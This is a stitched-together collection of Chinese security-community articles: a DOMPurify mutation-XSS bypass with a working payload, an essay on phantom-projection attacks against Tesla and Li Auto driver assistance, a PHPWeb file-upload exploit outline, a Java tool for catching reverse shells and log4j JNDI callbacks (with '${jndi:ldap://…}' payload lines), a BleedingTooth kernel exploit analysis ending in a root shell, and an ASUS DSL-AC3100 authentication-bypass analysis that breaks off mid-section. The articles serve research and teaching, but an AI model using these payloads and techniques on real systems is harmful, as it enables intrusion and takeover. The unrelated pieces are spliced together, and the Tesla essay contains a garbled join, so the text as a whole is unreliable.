Cure53对我的[Bypass](https://twitter.com/0xsapra?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1307929537749999616%7Ctwgr%5Eshare_3&ref_url=https%3A%2F%2Fresearch.securitum.com%2Fmutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass%2F)推送更新后，又发现了一个。
<math><mtext><table><mglyph><style><math><table id="</table>"><img src onerror=alert(1)">
我把它留给读者，让读者自己去弄清楚为什么这个payload能用。提示：根本原因和我发现的bug一样。
这个bypass也让我意识到，以下形式
div.innerHTML = DOMPurify.sanitize(html)
是容易发生突变XSS的设计，再找一个实例只是时间问题。我强烈建议给DOMPurify传递RETURN_DOM或RETURN_DOM_FRAGMENT选项，这样就不会执行序列化-解析的往返操作。
最后说明一下，我在为即将到来的 **XSS学院**
远程培训准备材料时发现了DOMPurify绕过。虽然还没有正式宣布，但细节（包括议程）将在两周内公布。我将讲授有趣的XSS技巧，重点是打破解析器和过滤器。如果你已经知道你有兴趣，请联系我们[email protected]，我们将为你预定座位!
作者：Michał Bentkowski Michał Bentkowski
原文地址：<https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/> | 社区文章 |
**作者：Kevin2600@星舆实验室
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 0x00 前言
大家好, 我是星舆车联网实验室Kevin2600。星舆取 “星辰大海, 舆载万物”之意, 是专注于车联网技术研究,
漏洞挖掘和工具研发的安全团队。团队成员在漏洞挖掘, 硬件逆向与AI大数据方面有着丰富经验, 连续在GeekPwn等破解赛事中斩获奖项,
并获众厂商致谢。团队研究成果多次发表于DEFCON等国内外顶级安全会议。
笔者之前有幸参观了2020北京国际车展, 展会主题是“软件定义汽车”. 几乎每个参展车企都推出至少一款智能汽车. 而最能体现智能汽车的一个功能就是自动驾驶.
从小鹏; 蔚来到特斯拉均以其拥有自动驾驶作为宣传热点. 除了传统车企, 很多互联网背景的公司也纷纷入坑.
2020年10月百度宣布即日起，在北京全面开放自动驾驶出租车（Robotaxi）服务. 这是百度的无人车Apollo继长沙;
沧州后该项服务常态化的第三个城市.
百度表示Apollo目前水平已经达到L4级别. 这意味着在特定的道路环境中，Apollo可以独自完成全部驾驶任务.
作为租凭业务的老大滴滴也同样在自动驾驶领域发力. 传统电商企业也不甘示弱, 诸如京东等企业也纷纷布局自动驾驶领域, 测试自己的无人配送货车.
于是一夜间自动驾驶似乎成为了比拼各大企业技术实力的标准之一。作为业界翘楚的特斯拉甚至宣称它们的FSD 自动驾驶解决方案比人类驾驶员还有要安全9 倍。
那么问题来了这些自动驾驶安全性能究竟如何? 这是安全研究人员和大众非常关注的问题.
无独有偶在2020年10月24日的GeekPwn2020新基建安全大赛上, 白帽黑客利用自制的雷达干扰设备, 成功欺骗毫米波雷达使自特斯拉"致盲"
径直撞向前方障碍物.
## 0x01 ADAS科普
为了方便理解文章后面的攻击目标, 我们先来了解下自动驾驶以及ADAS高级驾驶辅助系统的基础知识吧. ADAS 俗称 Advanced Driving
Assistance System 高级驾驶辅助系统.
包括了紧急制动系统、车道保持系统、驾驶员监测系统等功能在内的ADAS功能，能够有效的解决上述问题，从而降低事故的发生率。换句话说ADAS就是利用安装在车上的各式各样传感器收集数据，并结合地图数据进行系统计算，从而预先为驾驶者判断可能发生的危险，保证行车的安全性
ADAS
按具体功能又可以分为：提示预警类、控制类、网联类。网联类ADAS功能是随着智慧交通、智慧城市、车辆智能网联技术的发展而出现的高级辅助驾驶功能，目前尚在不断拓展完善。
ADAS功能主要包括：ACC、AEBS、LDW、DMS、FCW、盲区监测等。通过激光,
毫米波雷达和摄像头系统的协作，ADAS能够在特定条件下识别前车、静止障碍物以及路面上的各种行人状态，如迎面而来、横穿马路、走在路上或突然停下的行人等 。
所以说自动驾驶是为了提供更加方便安全的驾驶体验而生的。这里来看两个特斯拉的自动驾驶视频, 更直观的感受下吧。
视频1 特斯拉自动驾驶 - 召唤功能
(<https://v.qq.com/x/page/i3300toi870.html>)
视频2 特斯拉自动驾驶 - 泊车功能
(<https://v.qq.com/x/page/o33000d839q.html>)
## 0x02 ADAS攻击原理
事实上在自动驾驶安全研究上, 已有不少团队做了相关研究.
其中比较有趣的是由以色列本.古李安大学的研究员做的幻影攻击。其实所谓的幻影攻击就是使用投影仪在物体表面投影出人像或汽车的图像,
以其达到欺骗自动驾驶汽车摄像传感器的效果。
虽说自动驾驶汽车都有多传感器的数据融合设计, 由于现实世界场景的复杂性，并且涉及到生命安全, 很多厂商比如特斯拉抱着宁可误报绝不漏报的原则,
物体检测算法的阈值设置的相对宽松, 而这也带来了负面的效果, 如上图中特斯拉竟把远处的月亮识别成了交通灯,
巴士广告上的人像识别成了真人。大多数读者可能会觉得很搞笑, 但是如果攻击者滥用这种特性进行恶意攻击, 带来的可怕后果就不乐观了。
如下图本.古李安大学的研究员成功通过投影仪欺骗了特斯拉, 使其将投放的人像误认为真人从而自动刹车。
## 0x03 ADAS攻击实战
本着实战出真理的原则, 笔者也分别针对理想ONE 和特斯拉Model X 俩款汽车的ADAS系统进行了幻影攻击复现测试。 结果可喜可忧,
目前的L2自动驾驶很容易欺骗成功. 不过幸运的是欺骗的条件相对苛刻. 因为大多数时候攻击只能在夜晚进行且对攻击角度也有苛刻的要求。以下是攻击测试视频,
第一个视频理想汽车ADAS欺骗, 注意这还是在大白天,
攻击却依旧成功。(<https://v.qq.com/x/page/g3300i5r9hu.html>)
第二个为特斯拉ADAS欺骗视频
(<https://v.qq.com/x/page/s33001cu5of.html>)有意思的是大家可以看出其识别算法并不区分人类的具体性别,
事实上通过调整投放物体的大小, 特斯拉分别将美女图像识别成了小轿车或卡车等物体。
## 0x04总结
目前全球范围内发生了多起跟自动驾驶相关的交通事故. 大家一定要清醒的认识到目前所谓的自动驾驶, 大多只是 L2
级别辅助驾驶。行驶过程中驾驶员必须随时关注道路并接管，但还是有很多人无视这一现实情况, 人类社会对于新技术的一大挑战, 就是技术本身还没有准备好,
人类却高估了技术能做的事情。曾经轰动一时的 “自动驾驶杀人案” 在2020年有了初步判决结果. 检察官表示坐在驾驶位的安全员被控过失杀人罪. 但她所在的公司
Uber 在这起事件中不会面临刑事指控. 这是全世界范围内第一起自动驾驶汽车撞人致死的交通事故. 这起事故本身反映的问题更值得我们思考,
人与机器共同犯下的错误, 要由人来承担所有罪过吗？
测试版软件.
这不仅仅是简单的功能更新, 而是对基础架构进行了重写. 用户可以从家到公司全程开启，几乎不用干预. 新增功能可以让特斯拉识别交通信号灯和停车标志并做出反应.
但很快有用户发现在某些场景下, 特斯拉的表现并不尽人意. 其将画有圆圈的旗杆识别成了交通信号灯. 显然特斯拉及所有车企的终极目标是实现 L5自动驾驶,
但从目前来看能走多远仍是一个未知数。不过笔者认为未来绝对可期. 真正黑客精神也正是如此, 一次又一次挑战不可能, 从而推动人类社会进步。
* * * | 社区文章 |
测试环境：WindowsXP+PHPnow1.6.5+phpwebV2.0.35
在 **base/appplus.php** 文件中，我们发现一处未过滤的文件上传。但是要利用这处任意文件上传，我们得先绕过第15行的密钥校验。
全局搜索下 **md5(strrev($dbUser.$dbPass))** ，看看有没办法将这个值 **leak** 出来。这里共搜出4处，而
**base/post.php** 文件中的代码明显和其他不一样，我们看其具体代码。
我们在 **base/post.php** 文件中，发现当 **$act="appcode"** 时，程序就会将
**md5(strrev($dbUser.$dbPass))** 输出，而 **$act** 完全可控。
那么攻击步骤就很清晰了。先利用 **base/post.php** 文件 **leak** 出
**md5(strrev($dbUser.$dbPass))** 的值，然后再利用 **base/appplus.php** 上传文件即可。 **EXP**
如下：
已删除
参考
<https://forum.90sec.com/t/topic/387> | 社区文章 |
#### 0x01 需求场景
在很多次攻防实战或者SRC挖掘过程中，碰到RCE想要反弹shell或者jndi注入时，只有dnslog会产生有效回连，自行nc监听的端口却毫无反应，这就可能遇到了目标防火墙限制出网端口的场景。dnslog是不限制出网端口的，所以不在本文的讨论范围之内，另外本文也不涉及讨论高版本JDK限制JNDI注入remote
codebase的场景。书归正传，比如目标只限制80端口出网，但你nc监听的是80以外的端口（例如8080），那么这种情况下，反弹shell自然不可能成功。大部分人的解决方案是尝试使用
`nc -vlp
常见端口号`的方式进行尝试，例如80、443等。但是很多目标这些常见端口都不一定可以网络放行，基于这种情况下，可能判定目标机器不出网从而错失RCE的机会。
#### 0x02 场景举例
就拿最近爆火的log4j2的RCE进行举例。
base payload大概是这样的
${jndi:ldap://dnslog地址:端口号/expclass}
由于ldap和rmi协议默认的端口号分别是1389和1099，所以大部分人的payload均为如下这样
${jndi:ldap://dnslog地址:1389/expclass}
${jndi:rmi://dnslog地址:1099/expclass}
但实际上很多企业的防火墙都会设置出网规则，只允许特定端口出网，尤其是一些云厂商就更为明确，因为其提供了防火墙面板
企业可以更为方便的控制出入站规则。
上图为阿里云防火墙默认的出入站规则，可以看出为22、80、443等端口，并不包含1389、1099等端口。如果使用1389、1099等端口监听ldap、rmi服务，显而易见的可以得出不可能攻击成功的结论。
黑盒测试时不可能知道目标机器的防火墙规则，那么只得使用`nc -lvp
port`在vps开启端口监听，配合burpsuite的repeater模块不停的尝试，每换一个端口就需要`ctrl+c`终止一下nc进程，再换下一个，简直是累得不要不要的。可能有人想问，nc难道不支持监听多个端口或者全端口吗？其实不少人问过这个问题，然而其实不支持。
想了想为了解决这个痛点问题，于是我使用java多线程写了一个可以同时开启多个端口的工具，哪一个端口产生了回连就打印一下日志。
#### 0x03 核心实现
考虑到探测端口时，可能有两种需求场景。
第一种为大部分人的想法，我预判一些常见的出网端口，比如53、80、443、1521、3306等端口，工具也必须支持同时开启你预判的这些端口。
第二种需求，你使用了常见例如80、443等端口，依然没有产生有效回连，那么只能设置端口号的区间段了，比如8000-9000、50000-55000这些区间，观察日志打印，从而判断哪些端口可以出网。
java监听端口的核心代码为下文
InetAddress address = InetAddress.getByAddress(new byte[]{0,0,0,0});
ServerSocket serverSocket = new ServerSocket((Integer) port,backlog,address);
这里的address为你需要监听的地址，由于某些VPS的奇特环境，如果你不主动添加监听地址，很可能会得到一个监听ip为127.0.0.1的监听实例。为了严谨性需要配合Java多线程去实现，一个线程专门用来监听一个端口号，考虑到VPS性能关系不建议同时开启监听2000以上的端口。贴一下完整的核心代码参考<https://www.codeleading.com/article/22205653148/>
package test0531;
import java.io.InputStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Arrays;
import java.util.List;
/**
* @author zhongzhilong
* @date 2021/5/31
* @description 服务端同时监听多个端口
*/
public class ListenMorePortSocketServer {
/**
* 同时监听9088,9089端口
*/
private final List<Integer> portList = Arrays.asList(9088, 9089);
/**
* 具体的业务逻辑
*/
public void run() {
for (Integer port : portList) {
new Thread(new Runnable() {
@Override
public void run() {
try {
ServerSocket serverSocket = new ServerSocket(port);
System.out.println("服务端开始监听端口：" + port);
// 持续监听端口
while (true) {
// 阻塞直接监听到端口请求
Socket socket = serverSocket.accept();
socket.setKeepAlive(true);
int localPort = socket.getLocalPort();
System.out.println("当前请求服务器的端口号为：" + localPort);
while (!socket.isClosed()) {
InputStream is = socket.getInputStream();
byte[] bytes = new byte[1024];
is.read(bytes);
String msg = new String(bytes, "utf-8");
System.out.println("我是服务端,端口号为：" + localPort + "的客户端说：" + msg);
}
// socket.shutdownInput();
// is.close();
// socket.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
}).start();
}
}
}
#### 0x04 工具化实现
最终实现的效果如下
启动页
模式一：预判出网端口
模式二：端口区间模式
也支持占用端口的检测，防止错过任何一个RCE的机会
#### 0x05 参考
socket服务端同时监听多个端口号:<https://www.codeleading.com/article/22205653148/>
成品工具：请参考【漏洞百出】<https://public.zsxq.com/groups/555848225184.html> | 社区文章 |
**作者：启明星辰ADLab
原文链接：<https://mp.weixin.qq.com/s/8qIleHZpkJ1a5kMQDG5c8A>**
### 一、漏洞概述
2020年10月，谷歌安全研究人员披露了三个Linux内核蓝牙协议栈漏洞，可导致远程代码执行，被称为BleedingTooth。这三个漏洞中，一个是堆溢出，编号为CVE-2020-24490；另一个是类型混淆，编号为CVE-2020-12351，最后一个是信息泄露，编号为CVE-2020-12352。近日，谷歌安全研究人员又披露了BleedingTooth中CVE-2020-12351和CVE-2020-12352组合的漏洞利用及细节，并在蓝牙4.0下，实现了零点击远程代码执行。
### 二、漏洞分析
#### （一）CVE-2020-12351
该漏洞出现在net/bluetooth/l2cap_core.c中。l2cap_recv_frame()是解析和处理l2cap协议数据包的函数。代码实现如下所示：
获取通道cid和l2cap数据包长度len。代码实现如下所示：
根据不同的通道cid，进入不同的子过程进行处理，进入l2cap_data_channel()函数。代码实现如下所示：
首先，通过cid找到通道chan；如果没有找到，判断cid是否为L2CAP_CID_A2MP；如果是，调用a2mp_channel_create()创建一个新的通道chan。a2mp_channel_create()函数实现如下所示：
调用amp_mgr_create()创建mgr，在amp_mgr_create()函数中，代码实现如下所示：
调用a2mp_chan_open()创建通道chan，该函数将初始化一部分数据，代码实现如下所示：
如将chan->mode初始化为L2CAP_MODE_ERTM。chan->data赋值为mgr，类型为struct
amp_mgr。成功创建a2mp通道返回到l2cap_data_channel()中，代码实现如下所示：
根据chan->mode的不同，进入不同的data处理子过程，当mode为L2CAP_MODE_ERTM和L2CAP_MODE_STREAMING时，进入l2cap_data_rcv()函数中，代码实现如下所示：
该if条件中，会调用sk_filter()函数，此时chan->data为参数。而sk_filter()函数定义如下所示：
第一个参数类型为struct sock，而chan->data类型为struct amp_mgr，发生类型混淆。
#### （二）CVE-2020-12352
该漏洞是出现在a2mp协议中，漏洞代码位于net/bluetooth/a2mp.c，多个函数使用未初始化的结构体，将数据返回到用户层，导致信息泄露，可泄露内核栈上的内存数据。漏洞原理较为简单，以a2mp_getinfo_req()函数为例，该函数是响应getinfo请求时调用的，代码实现如下所示：
行304，通过req->id获取hdev，如果不存在hdev或hdev->type不是HCI_AMP，进入if语句中，定义struct
a2mp_info_rsp类型的 rsp，该结构体定义如下所示：
其只使用了rsp.id和rsp.status，其他的数据域未使用也未初始化，可以泄露16字节数据，然后调用a2mp_send()函数将响应包发送到用户层，泄露内存数据。
#### （三）CVE-2020-24490
该漏洞只能在bluetooth 5.0下触发，在bluetooth 5.0之前，HCI进行广播的最大数据长度为0x1F，0x20-0xFF保留。如下所示：
在bluetooth 5.0中，该length最大扩展到229字节。如下所示：
该漏洞代码位于net/bluetooth/hci_event.c中，在处理HCI_LE_Extended_Advertising_Report事件中，未判断广播数据长度最大值，后续拷贝广播Data导致溢出。调用过程如下所示：
process_adv_report()函数处理广播数据，将广播数据拷贝到发现的设备中，代码实现如下所示：
调用store_pending_adv_report()函数，该函数实现广播数据拷贝，代码实现如下所示：
其中，discovery_state结构体定义如下所示：
last_adv_data数据大小为HCI_MAX_AD_LENGTH，共31字节，当执行memcpy时发生溢出。
### 三、利用分析与复现
#### （一）控制代码执行流程
前文分析到CVE-2020-12351类型混淆是在sk_filter()函数中发生的，sk_filter()函数调用sk_filter_trim_cap()函数，该函数代码实现如下：
该函数第一个参数为sk，参数类型为sock结构体，这部分代码中对sk和skb的检查容易绕过。接下来关键代码如下所示：
行113，对sk->sk_filter进行解引用，如果成功获取filter指针，进入行115。行119，调用
bpf_prog_run_save_cb()函数，参数分别为filter->prog和skb，该函数代码实现如下所示：
然后，行676，调用__bpf_prog_run_save_cb()函数，该函数实现代码如下：
接着，行662，调用BPF_PROG_RUN(prog,skb)，该函数定义为一个宏，实现代码如下所示：
一路调用下来，最终会调用到红框中的代码，简化一下调用过程为： sk->sk_filter->prog->bpf_func(skb,
sk->sk_filter->prog->insnsi)。因此，只要控制sk->sk_filter就可以控制执行流程。
#### （二）堆喷占位
函数sk_filter()的第一个参数类型为struct sock，而实际传入的参数类型为struct
amp_mgr，可以采用堆喷128大小的内存块进行占位，伪造amp_mgr
对象。这里有个问题，sk->sk_filter在sock中的偏移为0x110，而amp_mgr结构体大小为0x70，偏移已经超出了范围。要解决这个问题，这里可以采用如下巧妙的堆喷布局：
结构体amp_mgr在kmalloc-128类型的slub中被分配，从第三个块开始，amp_mgr结构体偏移0x10处，可以被伪造成sk_filter，便可以满足sk对sk_filter域的解引用，并且可控。
#### （三）布局载荷
通过堆喷占位控制代码执行流程后，接下来就是布局攻击载荷。可以采用堆喷1024大小的内存块去伪造l2cap_chan对象，因为结构体大小为792，正好落在kmalloc-1024
slub块中，而且a2mp通道也属于l2cap通道中，释放a2mp通道时，l2cap通道也将被释放，操控起来较为灵活，最终布局如下所示：
#### （四）泄露l2cap_chan对象地址
通过堆喷布局和创建释放l2cap_chan通道等一系列操作后，可能存在一个指向kmalloc-1024内存块地址的l2cap_chan对象，可以通过CVE-2020-12352漏洞泄露一个内核栈上面的内核地址，如下图中红框所示：
通过该内地地址减去一个0x110偏移便可以找到一个l2cap_chan对象地址，可以通过amp_mgr结构体内存地址检查一下是否正确，因为amp_mgr结构体偏移0x18处为l2cap_chan指针，如下图中红框所示：
成功泄露l2cap_chan对象地址后，然后去填充amp_mgr结构体偏移0x10处的数据域。
#### （五）复现测试
我们在ubuntu 5.4.0-26-generic系统下复现测试漏洞利用，执行过程如下：
成功反弹root级shell，如下所示：
### 四、参考链接
1、 <https://google.github.io/security-research/pocs/linux/bleedingtooth/writeup>
2、 <https://github.com/google/security-research/security/advisories/GHSA-ccx2-w2r4-x649>
3、 <https://github.com/google/security-research/security/advisories/GHSA-7mh3-gq28-gfrq>
4、 <https://github.com/google/security-research/security/advisories/GHSA-h637-c88j-47wq>
* * * | 社区文章 |
# CVE-2021-20090（华硕DSL-AC3100）身份验证绕过漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
最近Tenable 披露了Arcadyna 网络设备身份验证绕过漏洞，并且很多的厂商都采用产生漏洞的组件，由于Arcadyan
设备固件厂商并没有开源出来，在官网支持里面下载的文件是window和linux
下和设备连接的客户端软件，无法对漏洞点开展分析，这里我们使用同样受影响的华硕产品DSL-AC3100
的固件来进行设备分析。并且复现在网络设备中网络检测ping 功能的远程命令执行漏洞，从而开启设备telentd。
## 0x02 华硕DSL-AC3100 固件
我们从华硕的官网中下载固件。
设备名称： DSL-AC3100
固件版本： DSL-AC3100_v1.10.05_build503
## 0x03 身份验证绕过漏洞分析
### 提取固件包
从华硕的官网下载到固件包DSL-AC3100_v1.10.05_build503.w ，这是一个是用.w 为后缀的固件文件，使用binwalk
可以提取出来。根据漏洞信息，可以确定这是一个在http服务中存在的漏洞，可以确定到httpd 文件，本固件的httpd 文件在
/usr/sbin/httpd 中。
### httpd 二进制文件分析
在ghidra 导入httpd 文件，自动对文件进行分析，识别文件的各种函数。
由于漏洞是身份认证绕过漏洞，因此首先要确定设备的身份验证相关的函数有哪些，在ghidra对httpd文件中的字符串进行搜寻，根据字符串
“check_auth” ，定位到函数 FUN_0001d0c0()，
undefined4 FUN_0001d0c0(int iParm1)
{
int iVar1;
undefined4 uVar2;
int iVar3;
undefined4 local_52c;
undefined4 local_528;
undefined4 local_524;
undefined4 uStack1312;
undefined4 local_51c;
char acStack1304 [1024];
char acStack280 [260];
memset(acStack280,0,0x100);
memset(acStack1304,0,0x400);
local_52c = 0;
local_528 = 0;
local_524 = 0;
uStack1312 = 0;
local_51c = 0;
iVar1 = FUN_00017df0();
if (iVar1 == -1) {
uVar2 = 1;
}
else {
iVar3 = mapi_ccfg_match_str(iVar1,"ARC_SYS_LogEnable",&DAT_00046b48);
iVar1 = mapi_ccfg_match_str(iVar1,"ARC_SYS_MPTEST",&DAT_00046b48);
if (iVar1 == 0) {
if (iVar3 != 0) {
iVar3 = 1;
}
if (iVar3 != 0) {
FUN_00017738(iParm1 + 0x76f0,&local_52c);
}
if (*(int *)(iParm1 + 0x774c) == 0) {
uVar2 = FUN_0001b6f4(iParm1 + 0x771e,*(undefined4 *)(iParm1 + 0x76ec));
FUN_0001b8c8(iParm1,uVar2);
}
iVar1 = FUN_0001ce8c(*(undefined4 *)(iParm1 + 0x774c),*(undefined4 *)(iParm1 + 0x76b0),
*(undefined4 *)(iParm1 + 0x76b4),*(undefined4 *)(iParm1 + 0x76b8),
*(undefined4 *)(iParm1 + 0x76bc),*(undefined4 *)(iParm1 + 0x76c0),
*(undefined4 *)(iParm1 + 0x76c4),*(undefined4 *)(iParm1 + 0x76c8),
*(undefined4 *)(iParm1 + 0x7b34));
if (iVar1 == 1) {
printf("[%s] %s login time out, reauth\n","check_auth",iParm1 + 0x76f0);
FUN_00039088(1);
snprintf(acStack1304,0x400,"Location: /relogin.htm\n\n");
}
else {
if (iVar1 == 2) {
printf("[%s] new user %s(%s) comes to login, check user and auth\n","check_auth",
iParm1 + 0x76f0,iParm1 + 0x4c);
snprintf(acStack1304,0x400,"Location: /relogin.htm\n\n");
}
else {
if (iVar1 == 0) {
printf("[%s] %s has already granted, pass\n","check_auth",iParm1 + 0x76f0);
return 0;
}
}
}
if (iVar3 != 0) {
snprintf(acStack280,0x100,"User from %s(%s) authentication fail.",&local_52c,iParm1 +0x76f0
);
append_to_file("/tmp/security_log.txt",acStack280);
}
FUN_00015338(iParm1,acStack1304);
uVar2 = 1;
}
else {
uVar2 = 0;
}
}
return uVar2;
}
根据函数代码的一些细节，可以看出这个函数检查认认证是否符合的功能函数，其中FUN_0001ce8c 函数的返回值iVar1，在函数中 iVar1 的值为2
时，说明是新用户登录，需要检查用户名和验证。iVar1 的值为 0 的时候，则显示验证通过。iVar1 的值为 1
的时候，则表示说明验证超时，并且重新返回到登录界面。
接下来，查看FUN_0001d0c0() 函数在FUN_0001d578() 中被引用。而FUN_0001d0c0()
函数就是漏洞的evaluate_access() 函数。
// evaluate_access()
undefined4 FUN_0001d578(undefined4 uParm1,undefined4 uParm2,int iParm3)
{
int iVar1;
undefined4 uVar2;
if (iParm3 == 0) {
return 0;
}
iVar1 = FUN_0001d2e0(iParm3);
if (iVar1 != 0) {
if (*(int *)(iParm3 + 0x76a8) != 0) {
return 0;
}
uVar2 = FUN_0001d0c0(iParm3);
return uVar2;
}
FUN_00014510(iParm3,0x193,"Unauthorized.");
return 1;
}
FUN_0001d578() 函数中的 FUN_0001d2e0()
是使用正则表达式来校验URL中的IP，端口是否符合规范。以及FUN_0001d0c0() 函数也在其中，因此这个函数是httpd
中来做身份验证的函数，也就是漏洞分析中的evaluate_access()。
接下来我们来查看调用evaluate_access()
函数的地方，真正的漏洞点在这个函数，我们来看漏洞点是如何绕过身份验证的。我们来到了FUN_00015058函数，这就是process_request
的函数。
void FUN_00015058(int iParm1)
{
undefined4 uVar1;
char *pcVar2;
char *__src;
int iVar3;
char *__dest;
iVar3 = iParm1 + 0xd5;
uVar1 = FUN_00016a84(iVar3,0xd);
*(undefined4 *)(iParm1 + 0x27f0) = uVar1;
*(undefined4 *)(iParm1 + 0x76a4) = 0xffffffff;
*(undefined4 *)(iParm1 + 0x76ac) = 0xffffffff;
__src = (char *)FUN_00016a84(iVar3,0x20);
*(int *)(iParm1 + 0x7b18) = iVar3;
pcVar2 = (char *)FUN_00016a84(__src,0x20);
uVar1 = FUN_00016a84(__src,0x3f);
*(undefined4 *)(iParm1 + 0x7b14) = uVar1;
__dest = (char *)(iParm1 + 0x7994);
strncpy(__dest,__src,0xff);
*(undefined *)(iParm1 + 0x7a93) = 0;
FUN_00016e3c(__dest);
printf("[%s] url=[%s], args=[%s], method=[%s]\n","process_request",__dest,
*(undefined4 *)(iParm1 + 0x7b14),*(undefined4 *)(iParm1 + 0x7b18));
iVar3 = FUN_00018c70(iParm1);
if (iVar3 < 0) {
return;
}
if (*pcVar2 == '\0') {
*(undefined4 *)(iParm1 + 0x7988) = 1;
}
else {
*(undefined4 *)(iParm1 + 0x7988) = 0;
iVar3 = FUN_00018cb8(iParm1);
if (iVar3 < 0) {
return;
}
iVar3 = strncasecmp(*(char **)(iParm1 + 0x7620),"multipart/form-data",0x13);
if ((((iVar3 != 0) && (*(char **)(iParm1 + 0x7b24) != (char *)0x0)) &&
(__src = strcasestr(*(char **)(iParm1 + 0x7b24),"FirmwareUpload"), __src == (char *)0x0))&&
(0 < (int)(*(int *)(iParm1 + 0x7984) + (uint)(64000 < *(uint *)(iParm1 + 0x7980))))) {
FUN_0000bef4(iParm1,*(undefined4 *)(iParm1 + 0xc));
FUN_00014510(iParm1,0x193,"The Content-length is extreme large!");
return;
}
}
uVar1 = FUN_0000deb0(__dest);
*(undefined4 *)(iParm1 + 0x76a8) = uVar1;
// evaluate_access()
if (((*(code **)(PTR_PTR_DAT_00054fac + 0x14) == (code *)0x0) ||
(iVar3 = (**(code **)(PTR_PTR_DAT_00054fac + 0x14))(iParm1), iVar3 != 2)) &&
((*(int *)(iParm1 + 0x76a8) != 0 || (iVar3 = FUN_0001d578(__dest,0,iParm1), iVar3 == 0)))) {
*(undefined4 *)(iParm1 + 0x798c) = 0;
__src = *(char **)(iParm1 + 0x7b18);
iVar3 = strcmp(__src,"HEAD");
if (iVar3 == 0) {
*(undefined4 *)(iParm1 + 0x798c) = 1;
if (*(int *)(iParm1 + 0x7988) == 0) {
FUN_0000eb98(iParm1);
}
else {
*(undefined4 *)(iParm1 + 0x798c) = 0;
FUN_00014510(iParm1,400,"Invalid HTTP/0.9 method.");
}
}
else {
iVar3 = strcmp(__src,"GET");
if (iVar3 == 0) {
FUN_0000eb98(iParm1);
}
else {
iVar3 = strcmp(__src,"POST");
if (iVar3 == 0) {
FUN_00014c30(iParm1);
}
else {
FUN_00014510(iParm1,400,"Invalid or unsupported method.");
}
}
}
}
return;
}
> && ： 逻辑与，前后条件同时满足表达式为真；
>
> || ： 逻辑与，前后条件只要有一个满足表达式为真。
如下面的代码，因为逻辑运算符&& 的优先级大于 || ，因此会先计算 && 的值。所以要先判断 iParm1 + 0x76a8 的值。如果值不为0
，则接着执行 逻辑运算符的|| 的表达式。
((((code )(PTR_PTR_DAT_00054fac + 0x14) == (code )0x0) ||
(iVar3 = ((code )(PTR_PTR_DAT_00054fac + 0x14))(iParm1), iVar3 != 2)) &&
(((int )(iParm1 + 0x76a8) != 0 || (iVar3 = FUN_0001d578(__dest,0,iParm1), iVar3 == 0))))
根据 FUN_00015058() 函数的代码，可以看到 iParm1 + 0x76a8 的值是从 FUN_0000deb0(__dest) 获取到的，而
“_dest” 的值在前面可以看出来是用户请求的 URL。
如果 iParm1 + 0x76a8 不为0 ，那么就能跳过身份验证的函数 **evaluate_access()**
，来直接执行处理POST请求的FUN_00014c30函数。
接下来进入 FUN_0000deb0() 函数，来查看是怎么处理 URL
undefined4 FUN_0000deb0(char *pcParm1)
{
size_t __n;
int iVar1;
char *__s;
undefined **ppuVar2;
ppuVar2 = &PTR_s_/images/_00054f70;
__s = PTR_s_/images/_00054f70;
if (PTR_s_/images/_00054f70 == (undefined *)0x0) {
return 0;
}
do {
__n = strlen(__s);
iVar1 = strncasecmp(pcParm1,__s,__n);
if (iVar1 == 0) {
return 1;
}
ppuVar2 = ppuVar2 + 1;
__s = *ppuVar2;
} while (*ppuVar2 != (char *)0x0);
return 0;
}
函数会将 url 和 &PTR _s_ /images/00054f70 字符串进行比较，直到符合为止，而 &PTR_s/images/_00054f70
的值是 “/images/” ，所以只需要请求的URL中带有 “/images/” 字符串，就可以绕过身份认证函数访问其他页面。
前面已经分析出来了身份验证绕过的漏洞点，但是并不能绕过验证访问任意界面，因为在访问的时候，需要正确的httoken值。接下来我们来分析设备的httoken
是怎么获取和生成的，在这个设备里，httoken 是设备的token值，并且访问设备的页面需要带有给定的httoken 值。根据漏洞披露来看，httoken
是在服务端进行生成，然后前端js 中进行解密，最终向服务器请求的时候，将httoken加入到请求数据中，但是漏洞披露并没有说明httoken
是那一段字符串生成的。。
我在httpd 的逆向工程中找到了生成httoken 的函数，
undefined4 FUN_00022520(int iParm1)
{
int iVar1;
undefined4 uVar2;
undefined *puVar3;
size_t sVar4;
char cStack120;
undefined auStack119 [107];
memset(&cStack120,0,0x65);
iVar1 = FUN_00017df0();
if (iVar1 == -1) {
uVar2 = 0;
}
else {
puVar3 = (undefined *)(iParm1 + 0x7994);
if (puVar3 == (undefined *)0x0) {
puVar3 = &DAT_0003d274;
}
uVar2 = FUN_000393e0(puVar3);
sprintf(&cStack120,"%lu",uVar2);
sVar4 = strlen(&cStack120);
FUN_00017e78(&cStack120,sVar4,auStack119 + sVar4,100 - sVar4);
uVar2 = so_printf(iParm1,
"<img title=spacersrc=\"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7%s\" border=0>"
,auStack119 + sVar4);
}
return uVar2;
接下来我们来分析FUN_00022520函数。在函数中我们可以看到最终生成了一个img 标签，并且src
的值是一段“data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7
+ auStack119 + sVar4 ”字符串，而其中 auStack119 + sVar4 的值是从FUN_00017e78 函数中进行base64
以及其他的方式进行处理后的字符串，并且这段字符串就是httoken的值。
生成的img 标签会在设备的login.html 中html 代码中出现，如下图所示，
根据生成httoken函数拼接这段字符串的方式，使用脚本对把token 解密出来，可以确定如下图的“372646849” 为设备的 token。
ArcBase.decode(“image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7MTU2OTQzNDE0OA==”）
根据解密出来的信息，“;” 后面的字符串 “ 372646849” 就是设备解密后的httoken 值。
## 0x04 ping 命令注入+配置选项
这一部分，漏洞披露的相对来说比较详细，很多的网络设备中在ping网络诊断
这个功能中，出现过大量的历史漏洞，比如NetGear，D-Link等都出现过此类漏洞，因此关于ping
